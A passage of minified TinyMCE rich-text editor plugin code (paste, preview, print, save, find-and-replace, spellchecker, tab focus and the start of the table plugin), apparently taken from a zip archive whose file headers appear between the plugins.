v=u.paste_word_valid_elements;v||(v="-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody");var
b=new
n({valid_elements:v,valid_children:"-li[p]"});e.each(b.elements,function(e){e.attributes["class"]||(e.attributes["class"]={},e.attributesOrder.push("class")),e.attributes.style||(e.attributes.style={},e.attributesOrder.push("style"))});var
y=new t({},b);y.addAttributeFilter("style",function(e){for(var
t,n=e.length;n--;)t=e[n],t.attr("style",p(t,t.attr("style"))),"span"==t.name&&t.parent&&!t.attributes.length&&t.unwrap()}),y.addAttributeFilter("class",function(e){for(var
t,n,r=e.length;r--;)t=e[r],n=t.attr("class"),/^(MsoCommentReference|MsoCommentText|msoDel)$/i.test(n)&&t.remove(),t.attr("class",null)}),y.addNodeFilter("del",function(e){for(var
t=e.length;t--;)e[t].remove()}),y.addNodeFilter("a",function(e){for(var
t,n,r,i=e.length;i--;)if(t=e[i],n=t.attr("href"),r=t.attr("name"),n&&n.indexOf("#_msocom_")!=-1)t.remove();else
if(n&&0===n.indexOf("file://")&&(n=n.split("#")[1],n&&(n="#"+n)),n||r){if(r&&!/^_?(?:toc|edn|ftn)/i.test(r)){t.unwrap();continue}t.attr({href:n,name:r})}else
t.unwrap()});var
x=y.parse(h);u.paste_convert_word_fake_lists!==!1&&f(x),d.content=new
r({validate:u.validate},b).serialize(x)}})}return
c.isWordContent=a,c}),r("tinymce/pasteplugin/Quirks",["tinymce/Env","tinymce/util/Tools","tinymce/pasteplugin/WordFilter","tinymce/pasteplugin/Utils"],function(e,t,n,r){return
function(i){function
o(e){i.on("BeforePastePreProcess",function(t){t.content=e(t.content)})}function
a(e){i.on("PastePostProcess",function(t){e(t.node)})}function
s(e){if(!n.isWordContent(e))return e;var
o=[];t.each(i.schema.getBlockElements(),function(e,t){o.push(t)});var a=new
RegExp("(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?("+o.join("|")+")[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*","g");return
e=r.filter(e,[[a,"$1"]]),e=r.filter(e,[[/<br><br>/g,"<BR><BR>"],[/<br>/g,"
"],[/<BR><BR>/g,"<br>"]])}function
l(e){if(n.isWordContent(e))return e;var
t=i.settings.paste_webkit_styles;if(i.settings.paste_remove_styles_if_webkit===!1||"all"==t)return
e;if(t&&(t=t.split(/[, ]/)),t){var
r=i.dom,o=i.selection.getNode();e=e.replace(/(<[^>]+)
style="([^"]*)"([^>]*>)/gi,function(e,n,i,a){var
s=r.parseStyle(i,"span"),l={};if("none"===t)return
n+a;for(var c=0;c<t.length;c++){var
u=s[t[c]],d=r.getStyle(o,t[c],!0);/color/.test(t[c])&&(u=r.toHex(u),d=r.toHex(d)),d!=u&&(l[t[c]]=u)}return
l=r.serializeStyle(l,"span"),l?n+'
style="'+l+'"'+a:n+a})}else
e=e.replace(/(<[^>]+)
style="([^"]*)"([^>]*>)/gi,"$1$3");return
e=e.replace(/(<[^>]+)
data-mce-style="([^"]+)"([^>]*>)/gi,function(e,t,n,r){return
t+' style="'+n+'"'+r})}function
c(e){i.$("a",e).find("font,u").each(function(e,t){i.dom.remove(t,!0)})}e.webkit&&o(l),e.ie&&(o(s),a(c))}}),r("tinymce/pasteplugin/Plugin",["tinymce/PluginManager","tinymce/pasteplugin/Clipboard","tinymce/pasteplugin/WordFilter","tinymce/pasteplugin/Quirks"],function(e,t,n,r){var
i;e.add("paste",function(o){function a(){return
i||o.settings.paste_plaintext_inform===!1}function
s(){if("text"==c.pasteFormat)c.pasteFormat="html",o.fire("PastePlainTextToggle",{state:!1});else
if(c.pasteFormat="text",o.fire("PastePlainTextToggle",{state:!0}),!a()){var
e=o.translate("Paste is now in plain text mode. Contents will now be
pasted as plain text until you toggle this option
off.");o.notificationManager.open({text:e,type:"info"}),i=!0}o.focus()}function
l(){var
e=this;e.active("text"===c.pasteFormat),o.on("PastePlainTextToggle",function(t){e.active(t.state)})}var
c,u=this,d=o.settings;return/(^|[ ,])powerpaste([,
]|$)/.test(d.plugins)&&e.get("powerpaste")?void("undefined"!=typeof
console&&console.log&&console.log("PowerPaste is
incompatible with Paste plugin! Remove 'paste' from the
'plugins' option.")):(u.clipboard=c=new t(o),u.quirks=new
r(o),u.wordFilter=new
n(o),o.settings.paste_as_text&&(u.clipboard.pasteFormat="text"),d.paste_preprocess&&o.on("PastePreProcess",function(e){d.paste_preprocess.call(u,u,e)}),d.paste_postprocess&&o.on("PastePostProcess",function(e){d.paste_postprocess.call(u,u,e)}),o.addCommand("mceInsertClipboardContent",function(e,t){t.content&&u.clipboard.pasteHtml(t.content),t.text&&u.clipboard.pasteText(t.text)}),o.settings.paste_block_drop&&o.on("dragend
dragover draggesture dragdrop drop
drag",function(e){e.preventDefault(),e.stopPropagation()}),o.settings.paste_data_images||o.on("drop",function(e){var
t=e.dataTransfer;t&&t.files&&t.files.length>0&&e.preventDefault()}),o.addCommand("mceTogglePlainTextPaste",s),o.addButton("pastetext",{icon:"pastetext",tooltip:"Paste
as text",onclick:s,onPostRender:l}),void
o.addMenuItem("pastetext",{text:"Paste as
text",selectable:!0,active:c.pasteFormat,onclick:s,onPostRender:l}))})}),o(["tinymce/pasteplugin/Utils"])}(window);PKT��[���BB%tinymce/plugins/preview/plugin.min.jsnu�[���tinymce.PluginManager.add("preview",function(e){var
t=e.settings,n=!tinymce.Env.ie;e.addCommand("mcePreview",function(){e.windowManager.open({title:"Preview",width:parseInt(e.getParam("plugin_preview_width","650"),10),height:parseInt(e.getParam("plugin_preview_height","500"),10),html:'<iframe
src="javascript:\'\'"
frameborder="0"'+(n?'
sandbox="allow-scripts"':"")+"></iframe>",buttons:{text:"Close",onclick:function(){this.parent().parent().close()}},onPostRender:function(){var
r,i="";i+='<base
href="'+e.documentBaseURI.getURI()+'">',tinymce.each(e.contentCSS,function(t){i+='<link
type="text/css" rel="stylesheet"
href="'+e.documentBaseURI.toAbsolute(t)+'">'});var
o=t.body_id||"tinymce";o.indexOf("=")!=-1&&(o=e.getParam("body_id","","hash"),o=o[e.id]||o);var
a=t.body_class||"";a.indexOf("=")!=-1&&(a=e.getParam("body_class","","hash"),a=a[e.id]||"");var
s='<script>document.addEventListener &&
document.addEventListener("click", function(e) {for (var elm =
e.target; elm; elm = elm.parentNode) {if (elm.nodeName === "A")
{e.preventDefault();}}}, false);</script>
',l=e.settings.directionality?'
dir="'+e.settings.directionality+'"':"";if(r="<!DOCTYPE
html><html><head>"+i+'</head><body
id="'+o+'" class="mce-content-body
'+a+'"'+l+">"+e.getContent()+s+"</body></html>",n)this.getEl("body").firstChild.src="data:text/html;charset=utf-8,"+encodeURIComponent(r);else{var
c=this.getEl("body").firstChild.contentWindow.document;c.open(),c.write(r),c.close()}}})}),e.addButton("preview",{title:"Preview",cmd:"mcePreview"}),e.addMenuItem("preview",{text:"Preview",cmd:"mcePreview",context:"view"})});PKT��[#��{%%#tinymce/plugins/print/plugin.min.jsnu�[���tinymce.PluginManager.add("print",function(e){e.addCommand("mcePrint",function(){e.getWin().print()}),e.addButton("print",{title:"Print",cmd:"mcePrint"}),e.addShortcut("Meta+P","","mcePrint"),e.addMenuItem("print",{text:"Print",cmd:"mcePrint",icon:"print",shortcut:"Meta+P",context:"file"})});PKT��[�:�~~"tinymce/plugins/save/plugin.min.jsnu�[���tinymce.PluginManager.add("save",function(e){function
t(){var
t;if(t=tinymce.DOM.getParent(e.id,"form"),!e.getParam("save_enablewhendirty",!0)||e.isDirty())return
tinymce.triggerSave(),e.getParam("save_onsavecallback")?(e.execCallback("save_onsavecallback",e),void
e.nodeChanged()):void(t?(e.setDirty(!1),t.onsubmit&&!t.onsubmit()||("function"==typeof
t.submit?t.submit():n(e.translate("Error: Form submit field
collision."))),e.nodeChanged()):n(e.translate("Error: No form
element found.")))}function
n(t){e.notificationManager.open({text:t,type:"error"})}function
r(){var t=tinymce.trim(e.startContent);return
e.getParam("save_oncancelcallback")?void
e.execCallback("save_oncancelcallback",e):(e.setContent(t),e.undoManager.clear(),void
e.nodeChanged())}function i(){var t=this;e.on("nodeChange
dirty",function(){t.disabled(e.getParam("save_enablewhendirty",!0)&&!e.isDirty())})}e.addCommand("mceSave",t),e.addCommand("mceCancel",r),e.addButton("save",{icon:"save",text:"Save",cmd:"mceSave",disabled:!0,onPostRender:i}),e.addButton("cancel",{text:"Cancel",icon:!1,cmd:"mceCancel",disabled:!0,onPostRender:i}),e.addShortcut("Meta+S","","mceSave")});PKT��[i[?�]]+tinymce/plugins/searchreplace/plugin.min.jsnu�[���!function(){function
e(e){return
e&&1==e.nodeType&&"false"===e.contentEditable}function
t(t,n,r,i,o){function
a(e,t){if(t=t||0,!e[0])throw"findAndReplaceDOMText cannot handle
zero-length matches";var n=e.index;if(t>0){var
r=e[t];if(!r)throw"Invalid capture
group";n+=e[0].indexOf(r),e[0]=r}return[n,n+e[0].length,[e[0]]]}function
s(t){var n;if(3===t.nodeType)return
t.data;if(m[t.nodeName]&&!p[t.nodeName])return"";if(n="",e(t))return"\n";if((p[t.nodeName]||g[t.nodeName])&&(n+="\n"),t=t.firstChild)do
n+=s(t);while(t=t.nextSibling);return n}function l(t,n,r){var
i,o,a,s,l=[],c=0,u=t,d=n.shift(),f=0;e:for(;;){if((p[u.nodeName]||g[u.nodeName]||e(u))&&c++,3===u.nodeType&&(!o&&u.length+c>=d[1]?(o=u,s=d[1]-c):i&&l.push(u),!i&&u.length+c>d[0]&&(i=u,a=d[0]-c),c+=u.length),i&&o){if(u=r({startNode:i,startNodeIndex:a,endNode:o,endNodeIndex:s,innerNodes:l,match:d[2],matchIndex:f}),c-=o.length-s,i=null,o=null,l=[],d=n.shift(),f++,!d)break}else
if(m[u.nodeName]&&!p[u.nodeName]||!u.firstChild){if(u.nextSibling){u=u.nextSibling;continue}}else
if(!e(u)){u=u.firstChild;continue}for(;;){if(u.nextSibling){u=u.nextSibling;break}if(u.parentNode===t)break
e;u=u.parentNode}}}function c(e){var t;if("function"!=typeof
e){var n=e.nodeType?e:f.createElement(e);t=function(e,t){var
r=n.cloneNode(!1);return
r.setAttribute("data-mce-index",t),e&&r.appendChild(f.createTextNode(e)),r}}else
t=e;return function(e){var
n,r,i,o=e.startNode,a=e.endNode,s=e.matchIndex;if(o===a){var
l=o;i=l.parentNode,e.startNodeIndex>0&&(n=f.createTextNode(l.data.substring(0,e.startNodeIndex)),i.insertBefore(n,l));var
c=t(e.match[0],s);return
i.insertBefore(c,l),e.endNodeIndex<l.length&&(r=f.createTextNode(l.data.substring(e.endNodeIndex)),i.insertBefore(r,l)),l.parentNode.removeChild(l),c}n=f.createTextNode(o.data.substring(0,e.startNodeIndex)),r=f.createTextNode(a.data.substring(e.endNodeIndex));for(var
u=t(o.data.substring(e.startNodeIndex),s),d=[],p=0,m=e.innerNodes.length;p<m;++p){var
g=e.innerNodes[p],h=t(g.data,s);g.parentNode.replaceChild(h,g),d.push(h)}var
v=t(a.data.substring(0,e.endNodeIndex),s);return
i=o.parentNode,i.insertBefore(n,o),i.insertBefore(u,o),i.removeChild(o),i=a.parentNode,i.insertBefore(v,a),i.insertBefore(r,a),i.removeChild(a),v}}var
u,d,f,p,m,g,h=[],v=0;if(f=n.ownerDocument,p=o.getBlockElements(),m=o.getWhiteSpaceElements(),g=o.getShortEndedElements(),d=s(n)){if(t.global)for(;u=t.exec(d);)h.push(a(u,i));else
u=d.match(t),h.push(a(u,i));return
h.length&&(v=h.length,l(n,h,c(r))),v}}function n(e){function
n(){function
t(){o.statusbar.find("#next").disabled(!a(d+1).length),o.statusbar.find("#prev").disabled(!a(d-1).length)}function
n(){e.windowManager.alert("Could not find the specified
string.",function(){o.find("#find")[0].focus()})}var
r,i={};r=tinymce.trim(e.selection.getContent({format:"text"}));var
o=e.windowManager.open({layout:"flex",pack:"center",align:"center",onClose:function(){e.focus(),u.done()},onSubmit:function(e){var
r,s,l,c;return
e.preventDefault(),s=o.find("#case").checked(),c=o.find("#words").checked(),l=o.find("#find").value(),l.length?i.text==l&&i.caseState==s&&i.wholeWord==c?0===a(d+1).length?void
n():(u.next(),void
t()):(r=u.find(l,s,c),r||n(),o.statusbar.items().slice(1).disabled(0===r),t(),void(i={text:l,caseState:s,wholeWord:c})):(u.done(!1),void
o.statusbar.items().slice(1).disabled(!0))},buttons:[{text:"Find",subtype:"primary",onclick:function(){o.submit()}},{text:"Replace",disabled:!0,onclick:function(){u.replace(o.find("#replace").value())||(o.statusbar.items().slice(1).disabled(!0),d=-1,i={})}},{text:"Replace
all",disabled:!0,onclick:function(){u.replace(o.find("#replace").value(),!0,!0),o.statusbar.items().slice(1).disabled(!0),i={}}},{type:"spacer",flex:1},{text:"Prev",name:"prev",disabled:!0,onclick:function(){u.prev(),t()}},{text:"Next",name:"next",disabled:!0,onclick:function(){u.next(),t()}}],title:"Find
and
replace",items:{type:"form",padding:20,labelGap:30,spacing:10,items:[{type:"textbox",name:"find",size:40,label:"Find",value:r},{type:"textbox",name:"replace",size:40,label:"Replace
with"},{type:"checkbox",name:"case",text:"Match
case",label:"
"},{type:"checkbox",name:"words",text:"Whole
words",label:" "}]}})}function r(e){var
t=e.getAttribute("data-mce-index");return"number"==typeof
t?""+t:t}function i(n){var r,i;return
i=e.dom.create("span",{"data-mce-bogus":1}),i.className="mce-match-marker",r=e.getBody(),u.done(!1),t(n,r,i,!1,e.schema)}function
o(e){var
t=e.parentNode;e.firstChild&&t.insertBefore(e.firstChild,e),e.parentNode.removeChild(e)}function
a(t){var
n,i=[];if(n=tinymce.toArray(e.getBody().getElementsByTagName("span")),n.length)for(var
o=0;o<n.length;o++){var
a=r(n[o]);null!==a&&a.length&&a===t.toString()&&i.push(n[o])}return
i}function s(t){var
n=d,r=e.dom;t=t!==!1,t?n++:n--,r.removeClass(a(d),"mce-match-marker-selected");var
i=a(n);return
i.length?(r.addClass(a(n),"mce-match-marker-selected"),e.selection.scrollIntoView(i[0]),n):-1}function
l(t){var
n=e.dom,r=t.parentNode;n.remove(t),n.isEmpty(r)&&n.remove(r)}function
c(e){var t=r(e);return null!==t&&t.length>0}var
u=this,d=-1;u.init=function(e){e.addMenuItem("searchreplace",{text:"Find
and
replace",shortcut:"Meta+F",onclick:n,separator:"before",context:"edit"}),e.addButton("searchreplace",{tooltip:"Find
and
replace",shortcut:"Meta+F",onclick:n}),e.addCommand("SearchReplace",n),e.shortcuts.add("Meta+F","",n)},u.find=function(e,t,n){e=e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),e=n?"\\b"+e+"\\b":e;var
r=i(new RegExp(e,t?"g":"gi"));return
r&&(d=-1,d=s(!0)),r},u.next=function(){var
e=s(!0);e!==-1&&(d=e)},u.prev=function(){var
e=s(!1);e!==-1&&(d=e)},u.replace=function(t,n,i){var
s,f,p,m,g,h,v=d;for(n=n!==!1,p=e.getBody(),f=tinymce.grep(tinymce.toArray(p.getElementsByTagName("span")),c),s=0;s<f.length;s++){var
b=r(f[s]);if(m=g=parseInt(b,10),i||m===d){for(t.length?(f[s].firstChild.nodeValue=t,o(f[s])):l(f[s]);f[++s];){if(m=parseInt(r(f[s]),10),m!==g){s--;break}l(f[s])}n&&v--}else
g>d&&f[s].setAttribute("data-mce-index",g-1)}return
e.undoManager.add(),d=v,n?(h=a(v+1).length>0,u.next()):(h=a(v-1).length>0,u.prev()),!i&&h},u.done=function(t){var
n,i,a,s;for(i=tinymce.toArray(e.getBody().getElementsByTagName("span")),n=0;n<i.length;n++){var
l=r(i[n]);null!==l&&l.length&&(l===d.toString()&&(a||(a=i[n].firstChild),s=i[n].firstChild),o(i[n]))}if(a&&s){var
c=e.dom.createRng();return
c.setStart(a,0),c.setEnd(s,s.data.length),t!==!1&&e.selection.setRng(c),c}}}tinymce.PluginManager.add("searchreplace",n)}();PKT��[CM{�@'@'*tinymce/plugins/spellchecker/plugin.min.jsnu�[���!function(e,t){"use
strict";function n(e,t){for(var
n,r=[],o=0;o<e.length;++o){if(n=a[e[o]]||i(e[o]),!n)throw"module
definition dependecy not found:
"+e[o];r.push(n)}t.apply(null,r)}function
r(e,r,i){if("string"!=typeof e)throw"invalid module
definition, module id must be defined and be a
string";if(r===t)throw"invalid module definition, dependencies
must be specified";if(i===t)throw"invalid module definition,
definition function must be
specified";n(r,function(){a[e]=i.apply(null,arguments)})}function
i(t){for(var
n=e,r=t.split(/[.\/]/),i=0;i<r.length;++i){if(!n[r[i]])return;n=n[r[i]]}return
n}function o(n){var
r,i,o,s,l;for(r=0;r<n.length;r++){i=e,o=n[r],s=o.split(/[.\/]/);for(var
c=0;c<s.length-1;++c)i[s[c]]===t&&(i[s[c]]={}),i=i[s[c]];i[s[s.length-1]]=a[o]}if(e.AMDLC_TESTS){l=e.privateModules||{};for(o
in a)l[o]=a[o];for(r=0;r<n.length;r++)delete
l[n[r]];e.privateModules=l}}var
a={};r("tinymce/spellcheckerplugin/DomTextMatcher",[],function(){function
e(e){return
e&&1==e.nodeType&&"false"===e.contentEditable}return
function(t,n){function r(e,t){if(!e[0])throw"findAndReplaceDOMText
cannot handle zero-length
matches";return{start:e.index,end:e.index+e[0].length,text:e[0],data:t}}function
i(t){var n;if(3===t.nodeType)return
t.data;if(k[t.nodeName]&&!N[t.nodeName])return"";if(e(t))return"\n";if(n="",(N[t.nodeName]||S[t.nodeName])&&(n+="\n"),t=t.firstChild)do
n+=i(t);while(t=t.nextSibling);return n}function o(t,n,r){var
i,o,a,s,l,c=[],u=0,d=t,f=0;n=n.slice(0),n.sort(function(e,t){return
e.start-t.start}),l=n.shift();e:for(;;){if((N[d.nodeName]||S[d.nodeName]||e(d))&&u++,3===d.nodeType&&(!o&&d.length+u>=l.end?(o=d,s=l.end-u):i&&c.push(d),!i&&d.length+u>l.start&&(i=d,a=l.start-u),u+=d.length),i&&o){if(d=r({startNode:i,startNodeIndex:a,endNode:o,endNodeIndex:s,innerNodes:c,match:l.text,matchIndex:f}),u-=o.length-s,i=null,o=null,c=[],l=n.shift(),f++,!l)break}else
if(k[d.nodeName]&&!N[d.nodeName]||!d.firstChild){if(d.nextSibling){d=d.nextSibling;continue}}else
if(!e(d)){d=d.firstChild;continue}for(;;){if(d.nextSibling){d=d.nextSibling;break}if(d.parentNode===t)break
e;d=d.parentNode}}}function a(e){function t(t,n){var
r=_[n];r.stencil||(r.stencil=e(r));var i=r.stencil.cloneNode(!1);return
i.setAttribute("data-mce-index",n),t&&i.appendChild(E.doc.createTextNode(t)),i}return
function(e){var
n,r,i,o=e.startNode,a=e.endNode,s=e.matchIndex,l=E.doc;if(o===a){var
c=o;i=c.parentNode,e.startNodeIndex>0&&(n=l.createTextNode(c.data.substring(0,e.startNodeIndex)),i.insertBefore(n,c));var
u=t(e.match,s);return
i.insertBefore(u,c),e.endNodeIndex<c.length&&(r=l.createTextNode(c.data.substring(e.endNodeIndex)),i.insertBefore(r,c)),c.parentNode.removeChild(c),u}n=l.createTextNode(o.data.substring(0,e.startNodeIndex)),r=l.createTextNode(a.data.substring(e.endNodeIndex));for(var
d=t(o.data.substring(e.startNodeIndex),s),f=[],p=0,m=e.innerNodes.length;p<m;++p){var
g=e.innerNodes[p],h=t(g.data,s);g.parentNode.replaceChild(h,g),f.push(h)}var
v=t(a.data.substring(0,e.endNodeIndex),s);return
i=o.parentNode,i.insertBefore(n,o),i.insertBefore(d,o),i.removeChild(o),i=a.parentNode,i.insertBefore(v,a),i.insertBefore(r,a),i.removeChild(a),v}}function
s(e){var
t=e.parentNode;t.insertBefore(e.firstChild,e),e.parentNode.removeChild(e)}function
l(e){var
n=t.getElementsByTagName("*"),r=[];e="number"==typeof
e?""+e:null;for(var i=0;i<n.length;i++){var
o=n[i],a=o.getAttribute("data-mce-index");null!==a&&a.length&&(a!==e&&null!==e||r.push(o))}return
r}function c(e){for(var t=_.length;t--;)if(_[t]===e)return
t;return-1}function u(e){var t=[];return
d(function(n,r){e(n,r)&&t.push(n)}),_=t,this}function d(e){for(var
t=0,n=_.length;t<n&&e(_[t],t)!==!1;t++);return this}function
f(e){return _.length&&o(t,_,a(e)),this}function
p(e,t){if(w&&e.global)for(;C=e.exec(w);)_.push(r(C,t));return
this}function m(e){var
t,n=l(e?c(e):null);for(t=n.length;t--;)s(n[t]);return this}function
g(e){return _[e.getAttribute("data-mce-index")]}function
h(e){return l(c(e))[0]}function v(e,t,n){return
_.push({start:e,end:e+t,text:w.substr(e,t),data:n}),this}function b(e){var
t=l(c(e)),r=n.dom.createRng();return
r.setStartBefore(t[0]),r.setEndAfter(t[t.length-1]),r}function y(e,t){var
r=b(e);return
r.deleteContents(),t.length>0&&r.insertNode(n.dom.doc.createTextNode(t)),r}function
x(){return _.splice(0,_.length),m(),this}var C,w,N,k,S,_=[],E=n.dom;return
N=n.schema.getBlockElements(),k=n.schema.getWhiteSpaceElements(),S=n.schema.getShortEndedElements(),w=i(t),{text:w,matches:_,each:d,filter:u,reset:x,matchFromElement:g,elementFromMatch:h,find:p,add:v,wrap:f,unwrap:m,replace:y,rangeFromMatch:b,indexOf:c}}}),r("tinymce/spellcheckerplugin/Plugin",["tinymce/spellcheckerplugin/DomTextMatcher","tinymce/PluginManager","tinymce/util/Tools","tinymce/ui/Menu","tinymce/dom/DOMUtils","tinymce/util/XHR","tinymce/util/URI","tinymce/util/JSON"],function(e,t,n,r,i,o,a,s){t.add("spellchecker",function(l,c){function
u(){return B.textMatcher||(B.textMatcher=new
e(l.getBody(),l)),B.textMatcher}function d(e,t){var r=[];return
n.each(t,function(e){r.push({selectable:!0,text:e.name,data:e.value})}),r}function
f(e){for(var t in e)return!1;return!0}function p(e,t){var
o=[],a=E[e];n.each(a,function(e){o.push({text:e,onclick:function(){l.insertContent(l.dom.encode(e)),l.dom.remove(t),b()}})}),o.push({text:"-"}),A&&o.push({text:"Add
to
Dictionary",onclick:function(){y(e,t)}}),o.push.apply(o,[{text:"Ignore",onclick:function(){x(e,t)}},{text:"Ignore
all",onclick:function(){x(e,t,!0)}}]),R=new
r({items:o,context:"contextmenu",onautohide:function(e){e.target.className.indexOf("spellchecker")!=-1&&e.preventDefault()},onhide:function(){R.remove(),R=null}}),R.renderTo(document.body);var
s=i.DOM.getPos(l.getContentAreaContainer()),c=l.dom.getPos(t[0]),u=l.dom.getRoot();"BODY"==u.nodeName?(c.x-=u.ownerDocument.documentElement.scrollLeft||u.scrollLeft,c.y-=u.ownerDocument.documentElement.scrollTop||u.scrollTop):(c.x-=u.scrollLeft,c.y-=u.scrollTop),s.x+=c.x,s.y+=c.y,R.moveTo(s.x,s.y+t[0].offsetHeight)}function
m(){return l.getParam("spellchecker_wordchar_pattern")||new
RegExp('[^\\s!"#$%&()*+,-./:;<=>?@[\\]^_{|}`\xa7\xa9\xab\xae\xb1\xb6\xb7\xb8\xbb\xbc\xbd\xbe\xbf\xd7\xf7\xa4\u201d\u201c\u201e\xa0\u2002\u2003\u2009]+',"g")}function
g(e,t,r,i){var
u={method:e,lang:P.spellchecker_language},d="";u["addToDictionary"==e?"word":"text"]=t,n.each(u,function(e,t){d&&(d+="&"),d+=t+"="+encodeURIComponent(e)}),o.send({url:new
a(c).toAbsolute(P.spellchecker_rpc_url),type:"post",content_type:"application/x-www-form-urlencoded",data:d,success:function(e){if(e=s.parse(e))e.error?i(e.error):r(e);else{var
t=l.translate("Server response wasn't proper
JSON.");i(t)}},error:function(){var e=l.translate("The spelling
service was not found:
(")+P.spellchecker_rpc_url+l.translate(")");i(e)}})}function
h(e,t,n,r){var i=P.spellchecker_callback||g;i.call(B,e,t,n,r)}function
v(){function
e(e){l.notificationManager.open({text:e,type:"error"}),l.setProgressState(!1),C()}C()||(l.setProgressState(!0),h("spellcheck",u().text,S,e),l.focus())}function
b(){l.dom.select("span.mce-spellchecker-word").length||C()}function
y(e,t){l.setProgressState(!0),h("addToDictionary",e,function(){l.setProgressState(!1),l.dom.remove(t,!0),b()},function(e){l.notificationManager.open({text:e,type:"error"}),l.setProgressState(!1)})}function
x(e,t,r){l.selection.collapse(),r?n.each(l.dom.select("span.mce-spellchecker-word"),function(t){t.getAttribute("data-mce-word")==e&&l.dom.remove(t,!0)}):l.dom.remove(t,!0),b()}function
C(){if(u().reset(),B.textMatcher=null,T)return
T=!1,l.fire("SpellcheckEnd"),!0}function w(e){var
t=e.getAttribute("data-mce-index");return"number"==typeof
t?""+t:t}function N(e){var
t,r=[];if(t=n.toArray(l.getBody().getElementsByTagName("span")),t.length)for(var
i=0;i<t.length;i++){var
o=w(t[i]);null!==o&&o.length&&o===e.toString()&&r.push(t[i])}return
r}function k(e){var
t=P.spellchecker_language;e.control.items().each(function(e){e.active(e.settings.data===t)})}function
S(e){var
t;if(e.words?(A=!!e.dictionary,t=e.words):t=e,l.setProgressState(!1),f(t)){var
n=l.translate("No misspellings found.");return
l.notificationManager.open({text:n,type:"info"}),void(T=!1)}E=t,u().find(m()).filter(function(e){return!!t[e.text]}).wrap(function(e){return
l.dom.create("span",{"class":"mce-spellchecker-word","data-mce-bogus":1,"data-mce-word":e.text})}),T=!0,l.fire("SpellcheckStart")}var
_,E,T,R,A,B=this,P=l.settings;if(/(^|[ ,])tinymcespellchecker([,
]|$)/.test(P.plugins)&&t.get("tinymcespellchecker"))return
void("undefined"!=typeof
console&&console.log&&console.log("Spell Checker Pro
is incompatible with Spell Checker plugin! Remove 'spellchecker'
from the 'plugins' option."));var
D=P.spellchecker_languages||"English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr_FR,German=de,Italian=it,Polish=pl,Portuguese=pt_BR,Spanish=es,Swedish=sv";_=d("Language",n.map(D.split(","),function(e){return
e=e.split("="),{name:e[0],value:e[1]}})),l.on("click",function(e){var
t=e.target;if("mce-spellchecker-word"==t.className){e.preventDefault();var
n=N(w(t));if(n.length>0){var
r=l.dom.createRng();r.setStartBefore(n[0]),r.setEndAfter(n[n.length-1]),l.selection.setRng(r),p(t.getAttribute("data-mce-word"),n)}}}),l.addMenuItem("spellchecker",{text:"Spellcheck",context:"tools",onclick:v,selectable:!0,onPostRender:function(){var
e=this;e.active(T),l.on("SpellcheckStart
SpellcheckEnd",function(){e.active(T)})}});var
M={tooltip:"Spellcheck",onclick:v,onPostRender:function(){var
e=this;l.on("SpellcheckStart
SpellcheckEnd",function(){e.active(T)})}};_.length>1&&(M.type="splitbutton",M.menu=_,M.onshow=k,M.onselect=function(e){P.spellchecker_language=e.control.settings.data}),l.addButton("spellchecker",M),l.addCommand("mceSpellCheck",v),l.on("remove",function(){R&&(R.remove(),R=null)}),l.on("change",b),this.getTextMatcher=u,this.getWordCharPattern=m,this.markErrors=S,this.getLanguage=function(){return
P.spellchecker_language},P.spellchecker_language=P.spellchecker_language||P.language||"en"})}),o(["tinymce/spellcheckerplugin/DomTextMatcher"])}(window);PKT��[pn,���&tinymce/plugins/tabfocus/plugin.min.jsnu�[���tinymce.PluginManager.add("tabfocus",function(e){function
t(e){9!==e.keyCode||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()}function
n(t){function n(n){function
o(e){return"BODY"===e.nodeName||"hidden"!=e.type&&"none"!=e.style.display&&"hidden"!=e.style.visibility&&o(e.parentNode)}function
l(e){return/INPUT|TEXTAREA|BUTTON/.test(e.tagName)&&tinymce.get(t.id)&&e.tabIndex!=-1&&o(e)}if(s=r.select(":input:enabled,*[tabindex]:not(iframe)"),i(s,function(t,n){if(t.id==e.id)return
a=n,!1}),n>0){for(c=a+1;c<s.length;c++)if(l(s[c]))return s[c]}else
for(c=a-1;c>=0;c--)if(l(s[c]))return s[c];return null}var
a,s,l,c;if(!(9!==t.keyCode||t.ctrlKey||t.altKey||t.metaKey||t.isDefaultPrevented())&&(l=o(e.getParam("tab_focus",e.getParam("tabfocus_elements",":prev,:next"))),1==l.length&&(l[1]=l[0],l[0]=":prev"),s=t.shiftKey?":prev"==l[0]?n(-1):r.get(l[0]):":next"==l[1]?n(1):r.get(l[1]))){var
u=tinymce.get(s.id||s.name);s.id&&u?u.focus():tinymce.util.Delay.setTimeout(function(){tinymce.Env.webkit||window.focus(),s.focus()},10),t.preventDefault()}}var
r=tinymce.DOM,i=tinymce.each,o=tinymce.explode;e.on("init",function(){e.inline&&tinymce.DOM.setAttrib(e.getBody(),"tabIndex",null),e.on("keyup",t),tinymce.Env.gecko?e.on("keypress
keydown",n):e.on("keydown",n)})});PKT��[���&��#tinymce/plugins/table/plugin.min.jsnu�[���!function(e,t){"use
strict";function n(e,t){for(var
n,r=[],a=0;a<e.length;++a){if(n=o[e[a]]||i(e[a]),!n)throw"module
definition dependecy not found:
"+e[a];r.push(n)}t.apply(null,r)}function
r(e,r,i){if("string"!=typeof e)throw"invalid module
definition, module id must be defined and be a
string";if(r===t)throw"invalid module definition, dependencies
must be specified";if(i===t)throw"invalid module definition,
definition function must be
specified";n(r,function(){o[e]=i.apply(null,arguments)})}function
i(t){for(var
n=e,r=t.split(/[.\/]/),i=0;i<r.length;++i){if(!n[r[i]])return;n=n[r[i]]}return
n}var
o={};r("tinymce/tableplugin/Utils",["tinymce/Env"],function(e){function
t(t){(!e.ie||e.ie>9)&&(t.hasChildNodes()||(t.innerHTML='<br
data-mce-bogus="1" />'))}var n=function(e){return
function(t,n){t&&(n=parseInt(n,10),1===n||0===n?t.removeAttribute(e,1):t.setAttribute(e,n,1))}},r=function(e){return
function(t){return
